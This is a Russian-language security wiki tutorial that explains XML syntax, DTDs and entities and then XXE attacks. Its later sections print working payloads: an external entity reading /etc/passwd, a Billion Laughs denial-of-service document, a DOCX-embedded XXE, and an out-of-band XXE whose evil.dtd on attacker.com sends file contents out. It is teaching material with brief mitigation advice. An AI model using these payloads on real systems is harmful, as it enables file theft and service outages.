Веб-безопасность/Уязвимости XXE

Материал из SecSem Wiki
Версия от 20:51, 7 ноября 2020; Lgeek19 (обсуждение | вклад) (Новая страница: «=XML= XML (eXtensible Markup Language) - расширяемый язык разметки. Предназначен для передачи данных. <syntaxh…»)
(разн.) ← Предыдущая | Текущая версия (разн.) | Следующая → (разн.)
Перейти к навигации Перейти к поиску

XML

XML (eXtensible Markup Language) - расширяемый язык разметки. Предназначен для передачи данных.

<?xml version="1.0" encoding="UTF-8"?>
<note>
   <to>Tove</to>
   <from>Jani</from>
   <heading>Напоминание</heading>
   <body>Не забудь обо мне в эти выходные!</body>
</note>

Сходства и различия XML и HTML

  • XML - 1998 год, HTML - 1992 год
  • XML - задача передачи данных, HTML - отображение данных
  • XML - теги не предопределены, HTML - теги предопределены
  • XML нужно закрывать теги (нет автодополнение, как в HTML)
  • Оба имеют древовидную структуру

и многие другие сходства и различия

Структура XML документа

XML документы формируют древовидную структуру. У каждого XML документа обязан быть корень.

<корневой>
   <потомок>
      <подпотомок>.....</подпотомок>
   </потомок>
</корневой>

Пример:

<bookstore>
   <book category="COOKING">
      <title lang="en">Everyday Italian</title>
      <author>Giada De Laurentiis</author>
      <year>2005</year>
      <price>30.00</price>
   </book>
   <book category="CHILDREN">
      <title lang="en">Harry Potter</title>
      <author>J K. Rowling</author>
      <year>2005</year>
      <price>29.99</price>
   </book>
</bookstore>

его дерево:

Xml tree.png

Синтаксис XML

Отметим некоторые особенности синтксиса XML:

  • В XML нельзя опускать закрывающий тег. Абсолютно все элементы должны закрываться.
<p>Это неправильно
<p>Это правильно</p>
  • Теги XML являются регистрозависимыми.
<Message>Это неправильно</message>
<message>Это правильно</message>
  • XML элементы должны соблюдать корректную вложенность.
<b><i>Это жирный и курсивный текст, такое иногда работает в html, но никогда в xml</b></i>
<b><i>Это жирный и курсивный текст, корректная вложенность тегов</i></b>

XML пролог

Пример:

<?xml version="1.0" encoding="UTF-8"?>

Здесь version - версия xml, encoding - кодировка xml-документа. Пролог не обязателен, но если есть, то должен быть первой строкой документа. Если пролога нет, будет считаться, что используется версия XML 1.0. UTF-8 — кодировка XML документов по умолчанию.

Атрибуты тегов

Пример:

<note date="12/11/2007">

date - пример атрибута тега. Значение атрибута тега обязано быть в кавычках.

Комментарии

Комментарии в XML такие же, как и в HTML.

<!-- Это комментарий -->

В XML пробелы сохраняются, в HTML несколько последовательных пробельных символов усекаются до одного.

Синтаксически верный XML документ

Если XML документ составлен в соответствии с приведенными синтаксическими правилами, то говорят, что это "синтаксически верный" XML документ.

XML элементы

XML элемент — это все от (и включая) начального тега элемента до (и включая) конечного тега элемента. Элемент может содержать:

  • другие элементы
  • текст
  • атрибуты
  • или набор из всего выше названного

Например, в следующем XML документе 11 элементов:

<bookstore>
   <book category="CHILDREN">
      <title>Harry Potter</title>
      <author>J K. Rowling</author>
      <year>2005</year>
      <price>29.99</price>
   </book>
   <book category="WEB">
      <title>Learning XML</title>
      <author>Erik T. Ray</author>
      <year>2003</year>
      <price>39.95</price>
   </book>
</bookstore>

Пространства имен

Рассмотрим два примера ниже:

<table>
   <tr>
      <td>Яблоки</td>
      <td>Бананы</td>
   </tr>
</table>
<table>
   <name>Африканский кофейный столик</name>
   <width>80</width>
   <length>120</length>
</table>

В первом случае XML код содержит информацию о HTML таблице, втором случае XML код содержит информацию о столе (предмет мебели), который по англ. тоже table. Если эти два фрагмента кода XML будут сведены вместе, то возникнет конфликт имен. Так как оба документа содержат элемент table, хотя и с разным контентом и значением. В XML избежать конфликта имен можно при помощи префикса имени элемента.

<root>
   <h:table xmlns:h="http://www.w3.org/TR/html4/">
      <h:tr>
         <h:td>Яблоки</h:td>
         <h:td>Бананы</h:td>
      </h:tr>
   </h:table>
   <f:table xmlns:f="http://www.w3schools.com/furniture">
      <f:name>Африканский кофейный столик</f:name>
      <f:width>80</f:width>
      <f:length>120</f:length>
   </f:table>
</root>

При использовании в XML префиксов необходимо определить, так называемое, пространство имен префикса. Пространство имен определяется благодаря атрибуту xmlns в начальном теге элемента. Декларация пространства имен имеет следующий синтаксис - xmlns:префикс="URI".

Унифицированный идентификатор ресурса (URI) - это символьная строка, идентифицирующая интернет-ресурс. В наиболее общей форме URI является единым указателем ресурса (URL), который идентифицирует доменный адрес в интернете. Другой, более частный вид URI — единообразное имя ресурса (URN).

Предопределенные сущности

Некоторые символы в XML имеют особые значения. Если вы поместите, например, символ "<" внутри XML элемента, то будет сгенерирована ошибка, так как парсер интерпретирует его, как начало нового элемента.

<message>если жалование < 1000</message>

Чтобы ошибка не возникала, нужно заменить "<" на его сущность:

<message>если жалование &lt; 1000</message>

В XML существует 5 предопределенных сущностей:

&lt; <
&gt; >
&amp; &
&' '
&quot; "

Подробнее про сущности мы поговорим ниже.

Валидные XML документы

XML документ с корректным синтаксисом называется "правильно сформированным" или "синтаксически верным". Валидный XML документ не то же самое, что и синтаксически верный XML документ, это лишь необходимое условие. "Валидный" XML документ кроме всего прочего должен соответствовать определенному типу документов. Типы определений документа:

  1. Более новый тип определений, основанный на XML, - XML схема.
  2. Оригинальное определение типа документа (DTD)

XML-Schema

XML схемы описывают структуру XML документа. Приведем пример такого описания:

<xs:element name="note"> - определяет элемент "note"
   <xs:complexType> - у элемента "note" комплексный тип
      <xs:sequence> - последовательность элементов
         <xs:element name="to" type="xs:string"/> - у элемента "to" строковый тип (текст)
         <xs:element name="from" type="xs:string"/>
         <xs:element name="heading" type="xs:string"/>
         <xs:element name="body" type="xs:string"/>
      </xs:sequence>
   </xs:complexType>
</xs:element>
  • XML схема пишется на XML
  • XML схема легко расширяется
  • XML схема поддерживает типы данных
  • XML схема поддерживает пространства имен

Document type definition

Цель DTD состоит в том, чтобы определить структуру XML документа. Это делается путем определения списка допустимых элементов:

<!DOCTYPE note [ - !DOCTYPE note определяет, что
корневым элементом документа является note
<!ELEMENT note (to,from,heading,body)> - !ELEMENT note определяет, что элемент note содержит четыре элемента: to, from, heading, body
<!ELEMENT to (#PCDATA)> - !ELEMENT to определяет, что элемент to должен быть типа "#PCDATA"
<!ELEMENT from (#PCDATA)> - !ELEMENT from определяет, что элемент from должен быть типа "#PCDATA"
<!ELEMENT heading (#PCDATA)> - !ELEMENT heading определяет, что элемент heading должен быть типа "#PCDATA"
<!ELEMENT body (#PCDATA)>]> - "!ELEMENT body определяет, что элемент body должен быть типа  "#PCDATA"

С точки зрения DTD все XML (и HTML) документы состоят из следующих строительных блоком:

  • Элементы
  • Атрибуты
  • Сущности
  • PCDATA
  • CDATA

PCDATA и CDATA

PCDATA — это текст, который будет анализироваться парсером. Т.е. парсер будет проверять этот текст на наличие сущностей и другой разметки.

CDATA — это текст, который не будет анализироваться парсером. Теги внутри такого текста не будут восприняты, как вложенная разметка, а сущности не будут раскрыты. Секция CDATA начинается с символов "<![CDATA[" и заканчивается "]]>" Пример:

<script>
<![CDATA[
   function matchwo(a,b) {
      if (a < b && a < 0) then {
         return 1;
      } else {
         return 0;
      }
   }
]]>
</script>

Элементы

В DTD элементы XML определяются при помощи декларации элементов следующим образом:

<!ELEMENT имя-элемента категория>

или

<!ELEMENT имя-элемента (содержимое-элемента)>

Пустые элементы декларируются при помощи ключевого слова категории EMPTY:

<!ELEMENT имя-элемента EMPTY>

Примечание: пустой XML-элемент можно задать двумя эквивалентными способами:

<element></element>

или

<element />

Элементы, содержащие только анализируемые символьные данные, декларируются при помощи ключевого слова #PCDATA в скобках:

<!ELEMENT from (#PCDATA)>

Элементы, декларированные с ключевым словом категории ANY, могут содержать любую комбинацию анализируемых данных:

<!ELEMENT note ANY>

Элементы с одним или более потомком декларируются с именем дочернего элемента в скобках:

<!ELEMENT note (to,from,heading,body)>

Декларирование от нуля до одного элемента:

<!ELEMENT note (message?)>

Декларирование альтернативных элементов:

<!ELEMENT note (to,from,header,(message|body))>

Декларирование смешанного контента:

<!ELEMENT note (#PCDATA|to|from|header|message)*>

Декларация единичного элемента:

<!ELEMENT note (message)>

Декларация минимум одного элемента:

<!ELEMENT note (message+)>

Декларирование от нуля и больше элементов:

<!ELEMENT note (message*)>

Декларация атрибутов имеет следующий синтаксис:

<!ATTLIST имя-элемента имя-атрибута тип-атрибута значение-атрибута>

Пример:

<!ATTLIST payment type CDATA "check">

Атрибуты

Параметр "тип-атрибута" может принимать следующие значения:

CDATA Значение — символьные данные
(en1|en2|..) Значение должно быть из перечисленного списка
ID Значение — уникальный идентификатор
IDREF Значение — идентификатор другого элемента
IDREFS Значение — список других идентификаторов
NMTOKEN Значение — допустимое XML имя
NMTOKENS Значение — список допустимых XML имен
ENTITY Значение — сущность
ENTITIES Значение — список сущностей
NOTATION Значение — имя нотации
xml: Значение — предопределенное xml значение

Параметр "значение-атрибута" может принимать следующие значение:

value Значение атрибута по умолчанию
#REQUIRED Атрибут обязателен
#IMPLIED Атрибут не обязателен
#FIXED value Атрибут имеет фиксированное значение
  • Value:

DTD:

<!ELEMENT square EMPTY>
<!ATTLIST square width CDATA "0">

XML:

<square width="100" />
  • #REQUIRED

Синтаксис:

<!ATTLIST имя-элемента имя-атрибута тип-атрибута #REQUIRED>

DTD:

<!ATTLIST person number CDATA #REQUIRED>

XML:

<person number="5677" />

Неправильный XML:

<person />
  • #IMPLIED:

Синтаксис:

<!ATTLIST имя-элемента имя-атрибута тип-атрибута #IMPLIED>

DTD:

<!ATTLIST contact fax CDATA #IMPLIED>

XML:

<contact fax="555-667788" />
<contact />
  • #FIXED:

Синтаксис:

<!ATTLIST имя-элемента имя-атрибута тип-атрибута #FIXED "значение">

DTD:

<!ATTLIST sender company CDATA #FIXED "Microsoft">

XML:

<sender company="Microsoft" />

Неправильный XML:

<sender company="MSiter" />
  • Перечисленные значения атрибута:

Синтаксис:

<!ATTLIST имя-элемента имя-атрибута (en1|en2|..) значение-по-умолчанию>

DTD:

<!ATTLIST payment type (check|cash) "cash">

XML:

<payment type="check" />

или:

<payment type="cash" />

Сущности

Сущности — переменные, которые используются для определения синонимов стандартных текстовых строк или специальных символов.Сущности могут декларироваться как внутри кода, так и внешнем ресурсом.

  • Пример сущности, объявленной внутри кода (internal entity):

Синтаксис:

<!ENTITY имя-сущности "значение-сущности">

DTD:

<!ENTITY writer "Donald Duck.">
<!ENTITY copyright "Copyright MSiter.">

XML:

<author>&writer;&copyright;</author>
  • Пример внешней сущности (external entity):

Синтаксис:

<!ENTITY имя-сущности SYSTEM "URI/URL">

DTD:

<!ENTITY writer SYSTEM "http://anysite.org/entities.dtd">
<!ENTITY copyright SYSTEM "http://anysite.org/entities.dtd">

XML:

<author>&writer;&copyright;</author>

Парсеры

Все современные браузеры имеют встроенный XML парсер. Парсеры бывают валидирующими и невалидирующими.

Валидирующий парсер - парсер, который проверяет на соответствие правилам, описанных в XML-схеме или DTD. Валидирующий парсер обязан включить в документ содержимое внешнего файла, невалидирующий — по желанию. На практике это свойство «по желанию» выполняется практически у всех популярных парсеров.

SOAP и XML-RPC

XML-RPC (Extensible Markup Language Remote Procedure Call) — стандарт/протокол вызова удалённых процедур, использующий XML для кодирования своих сообщений и HTTP в качестве транспортного механизма.

SOAP (Simple Object Access Protocol) - протокол обмена структурированными сообщениями в распределённой вычислительной среде. Расширение протокола XML-RPC. В SOAP запрещено подключение внешних сущностей, XML-RPC - не запрещено.

XXE

XXE - XML eXternal Entity - одна из известнейших уязвимостей в Интернете. Занимает четвёртую строчка рейтинга в OWASP Top 10. XXE - это атака на приложение, которое производит обработку XML. Она возможна, когда XML-парсер поддерживает возможность обрабатывать внешние сущности. Приводит к раскрытию конфиденциальной информации, чтению файлов, SSRF.

SSRF (Server-Side Request Forgery) - это возможность передавать url, по которому впоследствии перейдет уязвимый сервер.

Пример

Пусть есть сайт-форум. Предположим, что вы написали пост и отправили его на сайт. Будем считать, что для общения с сервером наше клиентское приложение отправляет XML-документы с логином и вашим сообщением.

<?xml version="1.0" encoding="utf-8"?>
<user>
    <Login>Vasya123</Login>
    <Massage>всем привет!</Massage>
</user>

Далее, приложение на сервере присылает всем XML-документ с новым сообщением. Попробуем подключить внешнюю сущность.

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<user>
    <Login>Vasya123</Login>
    <Massage>&xxe;</Massage>
</user>

Нам вернется /etc/passwd.

Есть три варианта того, как реализовано приложение:

  1. Веб-сервисы, реализующие протокол SOAP. В спецификации явно указано, что запрещено подключать внешние сущности. НО, не все приложения, реализующие протокол SOAP, полностью реализуют спецификацию.
  2. Приложения, реализующие протокол XML-RPC. В спецификации не запрещено подключать внешние сущности.
  3. Custom-приложения, работающие с  XML. Высока вероятность, что не запрещено подключать внешние сущности. Особенно, если приложение использует свой парсер.

Как избежать XXE на своем сервисе?

  • Не использовать XML
  • Проверьте возможность подключения DTD схем или External Entities. Если данная возможность включена, явно выключите её
  • Примите защитные меры для своего парсера

Ещё немного XML

Сущности

  • предопределенные сущности (predefined entities) - заранее определенные сущности, например < для < или для
  • внутренние сущности (internal entities) - связывают имя с любым текстовым содержимым, определенным в их декларации
  • внешние сущности (external entities) - связывают имя и внешний ресурс
  • параметрические сущности (parameter entity) - применяется для описания в DTD (обозн. %)
  • общие сущности (general entity) - применяется в самом XML документе

XPath

  • XPath - язык запросов к элементам XML документа
  • XPath использует маршрутные выражения для навигации по XML документам
  • XPath содержит библиотеку стандартных функций
  • XPath - главный элемент в XSLT

XPath использует маршрутные выражения для выбора узлов или узловых наборов в XML документе. Эти маршрутные выражения похожи на те выражения, которые можно увидеть при работе с традиционными файловыми системами. В настоящее время выражения XPath можно использовать в JavaScript, Java, XML схемах, PHP, Python, C и C++, а также во множестве других языках программирования.

Пример

Рассмотрим пример некоторых маршрутных выражений. XML документ:

<?xml version="1.0" encoding="UTF-8"?>
<bookstore>
   <book category="COOKING">
      <title lang="en">Everyday Italian</title>
      <author>Giada De Laurentiis</author>
      <year>2005</year>
      <price>30.00</price>
   </book>
   <book category="CHILDREN">
      <title lang="en">Harry Potter</title>
      <author>J K. Rowling</author>
      <year>2005</year>
      <price>29.99</price>
   </book>
   <book category="WEB">
      <title lang="en">XQuery Kick Start</title>
      <author>James McGovern</author>
      <author>Per Bothner</author>
      <author>Kurt Cagle</author>
      <author>James Linn</author>
      <author>Vaidyanathan Nagarajan</author>
      <year>2003</year>
      <price>49.99</price>
   </book>
   <book category="WEB">
      <title lang="en">Learning XML</title>
      <author>Erik T. Ray</author>
      <year>2003</year>
      <price>39.95</price>
   </book>
</bookstore>
Выражение XPath Результат
/bookstore/book[1] Выбирает первый элемент book, который является потомком элемента bookstore
/bookstore/book[last()] Выбирает последний элемент book, который является потомком элемента bookstore
/bookstore/book[last()-1] Выбирает предпоследний элемент book, который является потомком элемента bookstore
/bookstore/book[position()<3] Выбирает первые два элемента book, которые являются потомками элемента bookstore
//title[@lang] Выбирает все элементы title с атрибутом lang
//title[@lang='en'] Выбирает все элементы title с атрибутом lang, который имеет значение 'en'
/bookstore/book[price>35.00] Выбирает все элементы book, которые являются потомками элемента bookstore и которые содержать элемент price со значением больше 35.00
/bookstore/book[price>35.00]/title Выбирает все элементы title элементов book элементов bookstore, которые содержать элемент price со значением больше 35.00

XInclude

XInclude - механизм включений в XML-документы текстовых файлов или других XML-документов. Рассмотрим пример.

Исходный документ:

  <?xml version='1.0' encoding="UTF-8"?>
  <document xmlns:xi="http://www.w3.org/2001/XInclude">
    <p>Текст моего документа</p>
    <xi:include href="copyright.xml"/>
  </document>

copyright.xml:

  <?xml version='1.0' encoding="UTF-8"?>
  <copyright>Все права защищены © 2001-2010</copyright>

Итогом обработки исходного документа процессором XInclude результатом является следующий документ:

  <?xml version='1.0' encoding="UTF-8"?>
  <document xmlns:xi="http://www.w3.org/2001/XInclude">
    <p>Текст моего документа</p>
    <copyright>Все права защищены © 2001-2010</copyright>
  </document>

XXE

Billion laughs attack

Атака на XML-парсер, цель которой вызвать отказ в обслуживании посредством перегрузки оперативной памяти парсера. Однако стоит учитывать, что некоторые XML-парсеры автоматически ограничивают доступный объем памяти.

Пример:

<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

Атака на сложные типы файлов

Office Open XML (в частности DOCX) — серия форматов файлов для хранения электронных документов пакетов офисных приложений. Формат представляет собой zip-архив, содержащий текст в виде XML, графику и другие данные. Соответственно, открыв docx-файл архиватором, можно увидеть примерно следующую структуру.

Docx1.png

Docx-файл, содержащий запись "Hello world", имеет /word/document.xml следующего вида:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<w:document 
...
w:rsidRDefault="006E34D8"><w:pPr><w:rPr><w:lang 
w:val="en-US"/></w:rPr></w:pPr><w:r><w:rPr><w:lang 
w:val="en-US"/></w:rPr><w:t>Hello world</w:t></w:r><w:bookmarkStart w:id="0"

Пример

Пусть есть сайт, на который можно загружать docx-файлы и просматривать загруженные. Отправим на сайт наш файл, в который добавим описание сущности

Docx2.png

и её вызов, изменив имя файла.

Исходный документ:

Docx3.png

Измененный документ:

Docx4.png

Далее, в момент отображения имени файла, будет обработана сущность &test; и выедено содержание файла /etc/passwd.

Ссылки на сущности

Существуют два вида ссылок на сущности (entity references):

  • parameter entity references (%)
применяется для описания в DTD

  • general entity references (&)
применяется в самом XML документе

Пример

Entity references.png

  • парсим DTD
  • обнаружена внешняя сущность remote
  • remote делает запрос. http://evilhost/evil.xml парсится
  • обнаружена внешняя параметрическая сущность payload, читает файл
  • обнаружена параметрическая сущность param1, создает внутреннюю сущность internal
  • инъекция подготовлена, но файл пока не прочитан
  • файл evil.xml валидный и заменяет сущность remote в изначальном файле
  • происходит ссылка на параметрическую param1 и мы получаем контроль над сущностью internal, которая не является внешней

Out-of-band XXE

Атаки XXE бывают двух видов: in-band и out-of-band. Первый тип позволяет атакующем сразу получить ответ на полезную нагрузку. В случае out-of-band (или blind) XXE немедленного вывода нет.

Схема OOB XXE:

Xxe-oob.png

Пример

Запрос:

POST http://example.com/xml HTTP/1.1
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE data [
  <!ENTITY % file SYSTEM
  "file:///etc/passwd">
  <!ENTITY % dtd SYSTEM
  "http://attacker.com/evil.dtd">
  %dtd;
]>
<data>&send;</data>

attacker.com/evil.dtd:

<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.com/?collect=%file;'>">
%all;

Атака происходит следующим образом:

  1. XML-парсер обрабатывает параметрическую сущность %file, в которую загружается содержимое файла /etc/passwd
  2. XML-парсер совершает запрос к DTD файлу атакующего по адресу http://attack.example.com/evil.dtd
  3. XML-парсер анализирует DTD файл атакующего, параметрическая сущность %all создает обычную сущность &send, которая содержит URL. Данный URL включает содержимое файла (http://attacker.com/collect.php?collect=root:!:0:0::/:/usr/bin/ksh…)
  4. после того, как URL будет сконструировано, XML-парсер обработает сущность &send, которая совершить запрос к серверу атакующего.
  5. атакующий может обратиться к логам запросов своего сервера и реконструировать содержимое файла

Стоит учитывать, что если в файле будет содержаться недопустимые для URL символы, то это может привести к неполному выводу.

Ссылки